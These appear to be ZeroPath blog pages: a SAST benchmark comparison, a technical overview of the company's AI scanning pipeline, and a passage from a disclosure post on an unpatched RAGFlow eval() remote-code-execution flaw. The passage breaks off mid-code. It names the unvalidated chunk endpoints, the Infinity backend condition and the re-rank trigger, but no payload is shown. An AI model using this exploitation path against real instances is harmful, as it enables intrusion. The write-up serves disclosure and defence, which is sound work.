authentication vulnerabilities. To address these challenges, we have forked the [XBOW benchmark](https://github.com/xbow-engineering/validation-benchmarks), enhancing it to overcome many of the shortfalls associated with traditional benchmarking approaches. Our adapted version now serves as a reliable SAST benchmark, providing accurate measurements of both true positive and false positive rates for conventional classes of issues along side business logic and broken authentication vulnerabilities. [All changes can be found on our GitHub XBOW fork, alongside the scripts required to reproduce our findings.](https://github.com/ZeroPathAI/validation-benchmarks) **Note:** For more detailed information on [how and why we forked the XBOW benchmark, along with a discussion of its limitations, please refer to our blog post](https://zeropath.com/blog/toward-actual-benchmarks). ## Results: Breaking Down Detection Capabilities We evaluated three leading SAST tools alongside ZeroPath: Bearer (by Cycode), Semgrep, and Snyk. Our results demonstrate the limitations of current scanning approaches across traditional and complex vulnerability types. ### Technical Vulnerabilities | Scanner | Detection Rate | False Positive Rate | |---------|----------------|----------------| | ZeroPath | 80.0% | 25.0% | | Snyk | 40.0% | 30.0% | | Semgrep | 57.1% | 45.0% | | Bearer | 5.7% | 0.0% | *Based on 31 benchmarks with conventional technical vulnerabilities such as XSS, SQLI, and SSTI (alongside many more classes of issues)* ### Business Logic & Authentication Vulnerabilities | Scanner | Detection Rate | False Positive Rate | |---------|----------------|----------------| | ZeroPath | 87.5% | 0.0% | | Snyk | 0.0% | 0.0% | | Semgrep | 12.5% | 0.0% | | Bearer | 0.0% | 0.0% | *Based on 8 business logic benchmarks, including broken authentication, missing authorization, and complex data validation issues* ## Key Findings Our analysis of leading SAST tools revealed significant gaps in detection capabilities across the industry. While traditional tools excelled in specific scenarios, they consistently struggled with complex vulnerabilities and produced high false positive rates. ZeroPath demonstrated notable improvements in reducing false positives while maintaining strong detection rates, particularly in complex scenarios. Business logic and authentication vulnerability detection remains a fundamental challenge for most SAST solutions. Through advanced analysis techniques, ZeroPath showed more robust capabilities in identifying these complex vulnerability patterns, though there remains room for improvement across all tools in this category. Comparative analysis highlighted how newer approaches to static analysis can overcome traditional limitations. While no tool achieved perfect results, ZeroPath's enhanced detection mechanisms for business logic vulnerabilities and authentication flows represent meaningful progress in addressing long-standing SAST challenges. ## Tool Comparison and Features The feature comparison reflects recent innovations in SAST technology. While established tools provide solid foundational security scanning, ZeroPath's integration of advanced capabilities like natural language patch modification and business logic analysis demonstrates the potential for more sophisticated vulnerability detection. Language support varies significantly across SAST solutions. While our benchmark focused specifically on Python codebases, where ZeroPath showed strong detection capabilities, further testing across other languages would be needed for a comprehensive comparison. Most tools claim broad language support, but real-world effectiveness can vary substantially between languages. ### Feature Comparison | Feature | ZeroPath | Snyk | Semgrep | Bearer | |---------|----------|------|----------|--------| | Secret Detection | ✅ | ✅ | ✅ | ✅ | | SAST (Static Analysis) | ✅ | ✅ | ✅ | ✅ | | SCA (Software Composition Analysis) | ✅ | ✅ | ✅ | ❌ | | Broken Authentication Detection | ✅ | ❌ | ❌ | ❌ | | Business Logic Analysis | ✅ | ❌ | ❌ | ❌ | | IaC Scanning | ✅ | ✅ | ✅ | ❌ | | Auto-Patch Creation | ✅ | ✅ | ✅ | ❌ | | PR Code Reviews | ✅ | ✅ | ✅ | ✅ | | Natural Language Patch Modification | ✅ | ❌ | ❌ | ❌ | | Q&A / Code Indexing | ✅ | ❌ | ❌ | ❌ | ### Language Support | Language | ZeroPath | Bearer CLI | Semgrep | Snyk Code | |----------|----------|------------|----------|------------| | JavaScript/TypeScript | ✅ | ✅ | ✅ | ✅ | | Python | ✅ | ❌ | ✅ | ✅ | | PHP | ✅ | ❌ | ✅ | ✅ | | Golang | ✅ | ❌ | ✅ | ✅ | | Java | ✅ | ✅ | ✅ | ✅ | | Ruby | ✅ | ✅ | ✅ | ✅ | | C# | ✅ | ❌ | ✅ | ✅ | ## Reproducing Our Results We believe in transparency and reproducibility. All our testing tools and scripts are available on GitHub: - CLI setup: [ZeroPath CLI](https://github.com/ZeroPathAI/zeropath-cli) - Validation benchmarks: [ZeroPath Benchmarks](https://github.com/ZeroPathAI/validation-benchmarks) Follow our setup guide in the repository to run the benchmarks yourself and validate our findings. --- #### How ZeroPath Works - **Date**: November 1, 2024 - **Authors**: Raphael Karger - **Reading Time**: 15 minutes - **Keywords**: Product, AI, ZeroPath, SAST, AI SAST, AST analysis, source-to-sink analysis, call graph, vulnerability detection, static analysis, business logic vulnerabilities, authentication vulnerabilities, SQL injection, IDOR, LLM security, AI vulnerability detection, automated patch generation, reachability analysis, application security, AppSec, code analysis, security scanning - **URL**: https://zeropath.com/blog/how-zeropath-works Technical deep-dive into ZeroPath's SAST methodology: From AST generation to AI-powered vulnerability discovery and automated patch generation. --- > **Update:** This "How ZeroPath Works" post is kept for historical reference. Current architecture and capabilities have evolved over time. --- > **TL;DR: This post explains how ZeroPath's unified AppSec platform (SAST, SCA, secrets, IaC, and EOL checks) works, focusing on its AI-powered SAST engine.** > > - **Unified vulnerability coverage:** finds business-logic flaws, authentication/authorization bypasses, and classic vulnerabilities such as SQLi, XSS, and SSRF. > - **Continuously adaptive detection:** the tool automatically updates to recognize new vulnerability classes, such as prompt-injection attacks. > - **End-to-end workflow:** trigger → AST → enriched graph → vulnerability discovery → vulnerability validation → patch generation. > - **Fast developer experience:** pull-request scans finish in under 60s on GitHub, GitLab, Bitbucket, and Azure DevOps across 16+ languages. > - **Signal over noise:** reachability-aware data-flow analysis surfaces only exploitable paths, cutting false positives. > - **Fixes, not just findings:** the platform opens PRs with validated patches; developers can refine them using natural-language prompts. > - **Enterprise-ready deployment:** available as SaaS or on-premises via private cloud, with SSO/SAML support, SOC 2 and GDPR compliance (ISO 27001 underway). > - **Proven in the wild:** more than 125,000 scans each month for 750+ organizations, with critical CVEs disclosed in Netflix, Hulu, and Salesforce code. > > **→ [Schedule a live demo or set up a PoC](/demo)** --- ZeroPath is an Application Security (AppSec) platform that provides a way to manage all of your code security at once. This post focuses specifically on ZeroPath's Static Application Security Testing (SAST) engine, the AI-driven core that analyzes source code to detect security vulnerabilities. But this engine is also how we drive SCA and Custom Policy results. ZeroPath finds vulnerabilities without relying on rules, rule-based engines, or long lists of language specific "sinks" and "sources". This is unusual in AppSec, where most vendors are quietly relying on Semgrep, OpenGrep, or other open-source policy engines. But building our tooling from the ground up with LLMs allows the system to automatically adapt and find new types of issues without requiring developer specification. Additionally, it allows teams to define custom security rules using natural language, making it easier to enforce organization-specific security policies without writing complex regex patterns. Developed by security engineers, our custom-built SAST tool identifies complex issues often missed by conventional methods, including business logic flaws, authentication vulnerabilities, and emerging threats like AI-specific vulnerabilities such as prompt injection attacks. Traditional SAST tools struggle to detect business logic and authentication vulnerabilities because they rely on pattern matching rather than understanding application behavior. ZeroPath has been used to uncover vulnerabilities in major open-source repositories owned by companies like Netflix, Hulu, and Salesforce. By understanding code context and functionality through our proprietary AI engine, ZeroPath's SAST capabilities provide accurate detection with fewer false positives. The tool performs pre-merge scanning, analyzing code before it's merged into the main codebase. Pull-request scans typically complete in under 60s, enabling early detection of security issues without impeding development workflows. ZeroPath currently provides first-class support for C, C++, PHP, Go, Ruby, Perl, Rust, Python, Scala, Kotlin, Swift, JavaScript/TypeScript, Dart, Elixir, Java, and C#, including templating engines like Svelte and Embedded Ruby. It uses the tree-sitter library for Abstract Syntax Tree (AST) generation, allowing rapid integration of additional or custom language grammars. Given the prevalence of AI in security tools, we prioritize transparency. The following sections provide an overview of ZeroPath's functionality and demonstrate how our approach has led to the discovery of critical vulnerabilities in production systems used by major companies. ## Why AI-Driven SAST Matters Traditional SAST tools face fundamental limitations in modern application security. While they excel at finding certain pattern-based vulnerabilities, they struggle with context-dependent issues that require understanding how code actually behaves. This includes business logic flaws, authentication bypasses, and complex data flow vulnerabilities that don't match predefined patterns. ZeroPath's AI-driven approach represents a different paradigm. Instead of relying solely on rules and patterns, our engine understands code semantics and can reason about application behavior. This enables detection of vulnerability classes that rule-based systems simply cannot identify. For teams interested in detailed performance comparisons, we've published our [benchmarking methodology and results](https://zeropath.com/blog/benchmarking-zeropath). The key takeaway is that AI-driven analysis opens up entirely new categories of vulnerability detection, particularly for business logic and authentication issues that have traditionally required manual security reviews. ## ZeroPath Architecture and Workflow ZeroPath's vulnerability detection process consists of six key stages, each designed to contribute to the accuracy of its findings. The following section breaks down these stages, providing a technical overview of how the system operates to identify security issues in code bases. ```mermaid graph LR A[Trigger Scan] --> B[Application
Identification] B --> C[AST Generation
& Indexing] C --> D[Graph
Enrichment] D --> E[Vulnerability
Discovery] E --> F[Validation
& Verification] F --> G[Patch
Generation] ``` ### Triggering a Scan ZeroPath scans can be initiated through multiple methods: 1. **Scheduled/Manual Scans** These are initiated through the dashboard, CLI, or our [fully documented API](https://zeropath.com/docs/api-reference/organizations/list-organizations) (with TypeScript SDK support), or occur at predefined intervals. They perform a more complete analysis of the entire codebase, designed both to catch vulnerabilities in code that may have bypassed PR checks (e.g., direct pushes to the main branch) and refresh the intensive parts of analysis. This document describes what happens when you do a manual scan. 2. **Pull-Request Scans** PR scans are triggered automatically when a pull request is created on your repository. They are implemented as a GitHub check (and similarly for GitLab, Bitbucket, and Azure Pipelines), which avoids using CI/CD minutes, and focus on analyzing only the modified code. To optimize performance, the AST from previous scans is cached, and PR scans complete in around 30 seconds on average. Only the nodes corresponding to updated code are re-parsed and integrated into the existing AST. This incremental updating approach significantly reduces processing time while maintaining high accuracy, resulting in efficient and precise scans. 3. **Auto AppSec Mode** For teams wanting continuous security coverage, repositories can be configured to scan automatically on a schedule with high severity issues automatically generating pull requests for remediation. ### Application Identification ZeroPath starts by using AI agents to investigate what applications are inside your repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we: 1. Identify directory boundaries for each application 2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack 3. Collect additional contextual information helpful for subsequent analysis stages This process helps ensure that ZeroPath has enough information about your apps to discriminate between relevant and irrelevant security issues. ### AST Generation and Indexing To illustrate the following steps, we will be using a [basic Django application](https://gist.github.com/r0path/dfb9c5657fc8b8d7c25b33d9cfcc6a26) that provides fundamental functionality for: 1. User management (creating and listing users) 2. Content management (creating and listing posts) 3. User authentication (login and logout capabilities) Below is an example of the method to retrieve users from the application: ```python class UserViewSet(View): def get(self, request): users = User.objects.all() return render(request, 'user_list.html', {'users': users}) ``` That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like `function_definition`, `body`, and etc.: ```lisp (function_definition name: (identifier) ; get parameters: (parameters (identifier) ; self (identifier)) ; request body: (block (expression_statement (assignment left: (identifier) ; users right: (call function: (attribute object: (attribute object: (identifier) ; User attribute: (identifier)) ; objects attribute: (identifier)) ; all arguments: (argument_list)))) (return_statement (call function: (identifier) ; render arguments: (argument_list (identifier) ; request (string) ; 'user_list.html' (dictionary (pair key: (string) ; 'users' value: (identifier)))))))) ; users ``` This AST representation breaks down the `get_users` function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes. This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a **call graph**, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a complete summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this: ```mermaid graph TD A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve] B --> C1[UserViewSet: dispatch] B --> C2[PostViewSet: dispatch] B --> C3[LoginView: dispatch] B --> C4[LogoutView: dispatch] C1 --> D1[UserViewSet: list] C1 --> D2[UserViewSet: create] C2 --> D3[PostViewSet: list] C2 --> D4[PostViewSet: create] C3 --> D5[LoginView: post] C4 --> D6[LogoutView: post] D1 & D2 --> E1[User.objects.all/create] D3 & D4 --> E2[Post.objects.all/create] D5 --> E3[authenticate] D5 --> E4[login] D6 --> E5[logout] D1 & D3 --> F1[render] D2 & D4 --> F2[render] F1 & F2 --> G[context_processor] D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse] ``` ### Graph Enrichment After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow. ```mermaid graph TD A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher] %% Middleware Chain A -->|Pre-process| M1[Security Middleware] M1 -->|HTTPS Redirect| M2[Session Middleware] M2 -->|Manage Sessions| M3[Authentication Middleware] M3 -->|Authenticate User| M4[CSRF Protection Middleware] M4 -->|CSRF Validation| B %% URL Patterns and Views B -->|/api/users/| C1[UserViewSet] B -->|/api/posts/| C2[PostViewSet] B -->|/auth/login/| C3[LoginView] B -->|/auth/logout/| C4[LogoutView] %% View Methods C1 -->|GET| D1[List Users] C1 -->|POST| D2[Create User] C2 -->|GET| D3[List Posts] C2 -->|POST| D4[Create Post] C3 -->|POST| D5[Authenticate User] C4 -->|POST| D6[End Session] %% Database Interactions D1 & D2 -->|Query/Update| E1[User Model] D3 & D4 -->|Query/Update| E2[Post Model] E1 & E2 -->|ORM| F[Database] %% Template Rendering D1 & D3 -->|Render| G1[List Template] D2 & D4 -->|Render| G2[Detail Template] G1 & G2 -->|Apply| H[Context Processors] %% Static Files and Caching I[Static File Handler] -->|Serve| J[Static Files] K[Cache Middleware] -->|Cache Responses| A %% Response Flow D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object] L -->|Process Response| M4 M4 -->|Process Response| M3 M3 -->|Process Response| M2 M2 -->|Process Response| M1 M1 -->|Process Response| A %% Authentication Flow D5 -->|Success| N[Create Session] D5 -->|Failure| O[Error Response] D6 -->|Logout| P[Delete Session] classDef middleware fill:#f9f,stroke:#333,stroke-width:2px; class M1,M2,M3,M4,I,K middleware; ``` ### Vulnerability Discovery and Validation Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types: 1. **Conventional Vulnerabilities**: These encompass implementation-specific security flaws such as SQL Injection (SQLi), XML External Entity (XXE) injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), leaking of secrets, and Server-Side Request Forgery (SSRF). 2. **Business Logic Flaws**: These vulnerabilities arise from flaws in the application's logic. Examples include: - Price manipulation in e-commerce systems - Exploitation of coupon systems leading to incorrect pricing - Bypassing intended workflow sequences - Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers) 3. **Authentication/Authorization Issues**: These stem from improper implementation of user authentication or access control mechanisms. Common subtypes include: - Insecure Direct Object Reference (IDOR) - Missing Function Level Access Control - Broken Session Management Each category requires distinct analysis techniques. Conventional vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs: ```mermaid graph LR A[User Input
Sources] --> B[Data Flow
Analysis] B --> C{Sanitization
Check} C -->|No| D[Potential
Vulnerability] C -->|Yes| E[Safe Path] D --> F[Authentication
Check] F --> G[MCTSr
Validation] G --> H{Exploitable?} H -->|Yes| I[Confirmed
Vulnerability] H -->|No| J[False Positive] ``` * AI-driven Sink and Source Analysis: ZeroPath uses AI to identify potential vulnerability sinks (dangerous functions) and sources (user inputs) throughout the codebase, then traces data flow between them to detect exploitable paths. * Natural Language Rules: Teams can define custom security policies using plain English, which the system converts into security checks. * Threat Modeling: ZeroPath generates attack scenarios and verifies them by performing rigorous investigations of the code. * Integrated SCA with Reachability Analysis: While SCA is a separate component of our platform, it feeds vulnerability data directly into our SAST engine's source-to-sink analysis. The SCA component identifies vulnerable dependencies and maps CVEs to specific functions within those dependencies, leveraging OSV.dev's comprehensive vulnerability database that aggregates GitHub advisories, ecosystem-specific security bulletins, and other trusted sources. These vulnerable functions are treated as sinks in our AST-based analysis. ```mermaid graph LR A[OSV.dev
CVE Data] --> B[Map CVEs to
Dependency Functions] B --> C[Vulnerable Functions
as Sinks] C --> D[SAST Engine
Analysis] E[User Input
Sources] --> D D --> F{Reachable
Path?} F -->|Yes| G[LLM Validation Pipeline] F -->|No| H[Not Exploitable] G --> I{Validated?} I -->|Yes| J[Report
Vulnerability] I -->|No| H ``` The SAST engine then determines if these vulnerabilities are exploitable by tracing whether user-controllable inputs can reach them through the call graph, accounting for: - Sanitization functions in the execution path - Authentication and authorization checks - The specific context of how the dependency is used This approach eliminates many false positives since we only flag dependencies when there's an actual exploitable path from user input to the vulnerable code, rather than simply reporting all CVEs in your dependency tree. While this post focuses on our SAST capabilities, it's worth noting that ZeroPath's platform also includes other complementary security tools like secret scanning and validation, and Infrastructure as Code (IaC) scanning. These tools work together to provide application security coverage. Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: [Tree-of-Thoughts (ToT)](https://arxiv.org/abs/2305.10601) and an adaptation of the [ReAct framework](https://arxiv.org/abs/2210.03629). ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process. By integrating these techniques, we've developed a framework that allows for thorough vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities. To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath relies on a multi-agent validation pipeline. The system enumerates candidate attack paths surfaced during investigation, scores their plausibility and impact using CVSS 4.0 heuristics, and requests additional evidence whenever confidence falls below an acceptable threshold. Each vulnerability class—such as SSTI, SQLi, XSS, or business logic flaws—routes to a specialized verification agent. These agents pull relevant context from earlier stages, analyze available controls that might block the attack, and weigh the practicality of exploiting the issue in production. When the agent's assessment clears the predefined practicality threshold, the finding advances to patch generation and tweaking. ### Patch Generation, Tweaking, and Integration After discovering your vulnerability, we do a first pass check to see if we can fix it safely. Some vulnerabilities, like hardcoded secrets and SSRF, often require redesign and are marked unpatchable. For issues deemed patchable, we leverage the data collected from earlier stages, leaning towards existing sanitization functions and minimal code modifications. Our validation process verifies vulnerability remediation, ensures syntactic correctness and functional preservation, and rescans to prevent new vulnerabilities. Patches failing validation undergo refinement. Deployment methods vary: manual scans allow direct user approval and application via pull requests, while PR scans automatically create pull requests for fixes. Teams can customize PR formatting including titles, descriptions, branch names, and commit messages to match their conventions. ```mermaid graph LR A[Patch Generated] --> B{Check Patch} B --> |Vulnerability Fixed| C{Check Syntax} C --> |Syntax Correct| D{Check Functionality} D --> |Functionality Unchanged| E{Rescan for New Vulnerabilities} E --> |No New Vulnerabilities| F{Determine Scan Type} F --> |Manual Scan| G[Enable User to Apply Patch] G --> H[Create PR for User to Merge] F --> |PR Scan| I[Create PR to Fix Vulnerability Automatically] B --> |Vulnerability Not Fixed| J[Send Back to Pipeline] C --> |Syntax Incorrect| J D --> |Functionality Changed| J E --> |New Vulnerabilities Found| J J --> A ``` This code generation system supports multi-file, codebase-wide changes, incorporating techniques from [AutoCodeRover](https://arxiv.org/abs/2404.05427v2). It integrates with PRs, allowing developers to refine patches using natural language commands. The system can implement complex modifications across multiple files without requiring manual coding for each adjustment. ![Screenshot of ZeroPath PR modification interface showing natural language patch refinement](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/pr-modification.png "Screenshot of ZeroPath PR modification interface") ### Security Insights and Team Collaboration Our tool also provides an (optional) centralized dashboard for managing application security across your organizations. It supports multi-user repository sharing with team and organization-based access controls, and provides visualization tools for security posture assessment and trend analysis. For enterprise authentication, ZeroPath integrates with your existing SSO providers including SAML 2.0 and OIDC-compliant systems (Okta, Azure AD, Google Workspace, OneLogin, etc.), enabling seamless user provisioning and centralized access management. The platform includes reporting capabilities that track metrics like mean time to remediation, most common vulnerability classes by language and framework, and vulnerability attribution by teams or authors. Users can access repository-specific views with customizable filtering options. This feature facilitates the prioritization of high-severity issues, enabling teams to focus on the most critical security concerns within their codebase. The platform integrates with GitHub, GitLab, Bitbucket, and Azure Pipelines for version control interaction, and also supports direct code base uploads via zip files for projects using other version control systems or none at all. For broader workflow integration, ZeroPath supports Linear and Jira for issue tracking, along with Slack and email notifications to keep teams informed of security findings. Teams can also interact with vulnerabilities through our Q&A feature, which provides full codebase context for remediation advice and exploitation understanding. The platform offers complete source-to-sink visibility, showing full call graph relationships from the vulnerability source to the exploitable code snippet. Additional capabilities include SBOM (Software Bill of Materials) generation and export, audit logs for compliance, and CWE mapping for standardized vulnerability classification. For organizations requiring multi-tenancy, ZeroPath provides MSP (Managed Service Provider) support with control over multiple organizations. Developers can also leverage our [fully documented API](https://zeropath.com/docs/api-reference/organizations/list-organizations) with TypeScript SDK for custom integrations. ## Public Vulnerabilities and Research The ZeroPath team regularly uses the tool to find new vulnerabilities in open-source projects. We've disclosed numerous significant vulnerabilities in production systems, including: - Local file inclusion in [e2nest](https://github.com/Netflix/e2nest), a Netflix application used internally (CVE-2024-9301) - Unauthorized Redis access in [Monaco](https://github.com/hulu/monaco), a Hulu application allowing access to all Redis clusters (CVE-2024-48946, currently reserved) - Directory traversal in [LogAI](https://github.com/salesforce/logai), a Salesforce tool exposing sensitive files (CVE-2024-48945, currently reserved) - Broken and missing authentication flaws in [LibrePhotos](https://github.com/LibrePhotos/librephotos) - Arbitrary file upload in [LibrePhotos](https://zeropath.com/blog/librephotos-arbitrary-file-upload-vulnerability) - Remote code execution in [Uptrain](https://zeropath.com/blog/uptrain-rce-vulnerability-analysis) - Command injection in [Clone-Voice](https://zeropath.com/blog/command-injection-vulnerability-clone-voice) - Local file inclusion in [Fonoster Voice Server](https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability) Note: Some CVEs listed are in reserved status pending full disclosure coordination with vendors. For a complete and up-to-date list of all our vulnerability discoveries, visit our [0-day discoveries blog post](https://zeropath.com/blog/0day-discoveries) and our [Security Wall of Fame](https://zeropath.com/wall). Our team is actively working on responsibly disclosing its current batch of vulnerabilities, reinforcing our commitment to improving security across the open-source ecosystem. ## Try ZeroPath ZeroPath is now publicly available, with 750+ companies of various sizes already using our solution across finance, healthcare, technology, and other sectors, performing 125,000+ scans monthly. The platform is SOC 2 Type II and GDPR compliant, with ISO 27001 certification currently in progress, ensuring enterprise-grade security and data protection standards. **Ready to see ZeroPath in action? [Schedule a personalized demo](/demo) to:** - Explore key features and capabilities. - Discuss your specific use cases and deployment options (SaaS or on-premises). - Set up a proof-of-concept for your organization. - Get implementation and scaling insights. --- ### Security Research (2 most recent of 2 total) #### Unpatched RAGFlow Vulnerability Allows Post-Auth RCE - **Date**: April 9, 2026 - **Authors**: John Walker - **Reading Time**: 10 minutes - **Keywords**: RAGFlow, RCE, remote code execution, vulnerability, eval injection, RAG, Infinity, security research, ZeroPath, unpatched, CVE - **URL**: https://zeropath.com/blog/ragflow-rce-unpatched-vulnerability A currently-unpatched vulnerability in RAGFlow 0.24 allows low-privilege authenticated users to execute arbitrary code on instances using Infinity for chunk storage. We walk through the discovery, exploitation, and our disclosure process. --- # Unpatched RAGFlow Vulnerability Allows Post-Auth RCE ## Bottom Line A currently-unpatched vulnerability in the most recent version of RAGFlow (0.24) allows low-privilege authenticated users to run arbitrary code. Only RAGFlow instances using Infinity for chunk storage are vulnerable. We have submitted a PR and expect that the issue will be patched soon. ## Impacted Software RAGFlow 0.24.0 (current version as of April 8th 2026) ## Video Walkthrough ## RAGFlow Background RAGFlow is a wildly-popular project for Retrieval Augmented Generation. It gives LLMs a structured library of documents they can refer to when responding to prompts. As of early April 8th 2026, the project had 77.5k stars on Github and was widely adopted across many companies.
RAGFlow has over 77k stars on Github
RAGFlow has over 77k stars on Github
Most users configure the service to listen on an internal network, but at least 1,918 instances are directly accessible on the public internet according to Shodan.
At least 1,918 RAGFlow instances are exposed on the public internet
At least 1,918 RAGFlow instances are exposed on the public internet.
## Disclosure Process We created a github security report ([GHSA-vw46-rrp3-c99v](https://github.com/infiniflow/ragflow/security/advisories/GHSA-vw46-rrp3-c99v)) on March 3rd, 2026, and attempted to follow up with the project maintainers several times via email without success.
Our initial bug report, filed March 3rd, 2026
Our initial bug report, filed March 3rd, 2026
Given how easily-discoverable the flaw is, and in keeping with our [outbound disclosure policy](https://zeropath.com/outbound-disclosure), after a month we decided that the most effective way to get the issue fixed was to submit a patch ourselves ([https://github.com/infiniflow/ragflow/pull/14091](https://github.com/infiniflow/ragflow/pull/14091)). Unfortunately, creating this public PR means that any attackers monitoring the project are now aware of the vulnerability. We hope that this blog gets defenders up to speed as well, so that they can take appropriate countermeasures. Releasing this post before remediation was not a decision we took lightly. Given how rapidly vulnerability discovery is accelerating because of LLM-powered research flows, we believe that it will become more and more common for known, reported vulnerabilities to escape the attention of project maintainers, and that in these cases it's better to make the issue public as responsibly as possible instead of letting attackers quietly discover and exploit it without legitimate users being aware they're running vulnerable software. ## The Flaw ### Original Sin While researching RAGFlow, the function `_rank_feature_scores()` initially caught our attention. It's invoked during the rerank phase of document retrieval and converts a value from database search to a python dict using `eval()` like this: ```py # rag/nlp/search.py def _rank_feature_scores(self, query_rfea, search_res): # ... for t, sc in eval(search_res.field[i].get(TAG_FLD, "{}")).items(): ``` `eval()` will execute any python code. If the value of TAG\_FLD is a typical dictionary declaration (`{ "foo": "bar"}`) it works as expected, but if there was a way to corrupt its value in the datastore, we'd have an easy RCE. ### Corrupting tag_feas #### Anatomy of Retrieval The property we were interested in is accessed during chunk retrieval through public API endpoints like /api/v1/retrieval, which take a question and return relevant documents. Retrieval starts with a query to the configured datastore to find a broad set of documents that may be relevant. This initial query can be things like a vector search or a fulltext search. Depending on configuration, the engine sometimes then "reranks" the results from the initial search -- that is, performs potentially more expensive computations on them to better score relevance. The vulnerable code we were interested in is in this re-ranking process. This means that we needed to trace the application data flow to find a way to get malicious data into the `TAG_FLD` property, and then craft a search that would access this malicious data during reranking. #### Data Flow: Datastore To Eval() We started by tracing the data flow, looking for a public-facing vector to corrupt the data, and trying to understand any sanitization or validation we'd have to dodge. It turns out `.get(TAG_FLD, "{}")` reads the "`tag_feas`" property of a document chunk (where "feas" is short for "features"). This field is supposed to be an object that captures how relevant pre-defined tags are to the chunk, e.g.: ```javascript { "tag1": 0.1, "tag2" : 0.3 } ``` When the retrieval API is invoked, if Infinity is the backend, RAGFlow searches for chunks like this: ```py # rag/nlp/search.py, Dealer.search()): # Fields to retrieve from chunks as part of search -- includes TAG_FLD, which is our target tag_feas property src = req.get("fields", [..., PAGERANK_FLD, TAG_FLD, "row_id()"]) # rag/nlp/search.py, Dealer.retrieval()): # Actual search invocation -- includes field list above (req) sres = await self.search(req, [index_name(tid) for tid in tenant_ids], kb_ids, embd_mdl, highlight,rank_feature=rank_feature) # Infinity-specific processing of tag_feas column in search result # rag/utils/infinity_conn.py: elif re.search(r"_feas$", k): res2[column] = res2[column].apply(lambda v: json.loads(v) if v else {}) # rag/nlp/search.py # sres (search result) ultimately passed to eval here during re-ranking def _rank_feature_scores(self, query_rfea, search_res): # ... for t, sc in eval(search_res.field[i].get(TAG_FLD, "{}")).items(): ``` Based on this, we can tell that the only notable sanitization or transformation on the `tag_feas` column is that it's deserialized to a python type via `json.loads()`. Fortunately for us, a plain string is valid json. As long as our corrupted value is a valid JSON string, the load will succeed with arbitrary python code. (Interestingly, this also means the `eval()` is completely unnecessary when Infinity is the backend -- under normal circumstances, `json.loads()` converts the database value to a dict, it's implicitly converted back to a str for `eval()`, which then turns it right back into a dict.) #### Data Flow: Datastore-Level Validation/Transformation At this point we knew that a malicious value in the datastore would be faithfully piped through to `eval()`. But would any of RAGFlow's storage backends support storing an invalid property? Unfortunately for attackers, ElasticSearch defines a mapping that fixes the type of `tag_feas`: ```javascript { "rank_features": { "match": "*_feas", "mapping": { "type": "rank_features" } } } ``` To be accepted and written to the ElasticSearch index, items of rank\_features type must be a JSON object with string values for keys and floating point numbers for values. This makes it difficult to sneak malicious code in. In our exploration at least, it didn't seem possible. Unlike Elastic though, Infinity does not put any constraints on `tag_feas` at the datastore level, representing it as a simple varchar. This meant that as long as our target RAGFlow installation uses Infinity, the datastore wouldn't block our malicious code. #### Data Flow: Public API To Datastore We now just needed a way to get a user-controlled string into the `tag_feas` property of a chunk in an Infinity-backed RAGFlow instance. The most obvious public endpoints to attempt to corrupt a chunk's `tag_feas` value are: * POST /v1/chunk/create * POST /v1/chunk/set * POST /api/v1/datasets/{id}/documents/{id}/chunks * PUT /api/v1/datasets/{id}/documents/{id}/chunks/{id} Surprisingly, all these store the user-supplied `tag_feas` directly to the target chunk without validation. It's possible that this oversight occurred because ElasticSearch enforces the type itself. Whatever the reason, we now had an end to end flow from our user input to the `eval()` statement, at least for RAGFlow instances using the Infinity backend. #### Control Flow: Triggering Our Malicious Code Our malicious property doesn't do us any good unless we're able to get RAGFlow to retrieve it. The most obvious vector was to trigger a search against the knowledge base with our corrupted chunk using /api/v1/retrieval. However, the vulnerable code exists in a special phase of the retrieval process called re-ranking, where relevance scores and so on are adjusted after an initial search. By default with Infinity, re-ranking is skipped: ```py # rag/nlp/search.py retrieval() if settings.DOC_ENGINE_INFINITY: # Don't need rerank here since Infinity normalizes each way score before fusion. sim = [sres.field[id].get("_score", 0.0) for id in sres.ids] sim = [s if s is not None else 0.0 for s in sim] tsim = sim vsim = sim ``` If the user specifies an explicit re-rank model as a parameter to their retrieval query though, re-ranking still occurs: ```py # rag/nlp/search.py retrieval() if rerank_mdl and sres.total > 0: for _id in 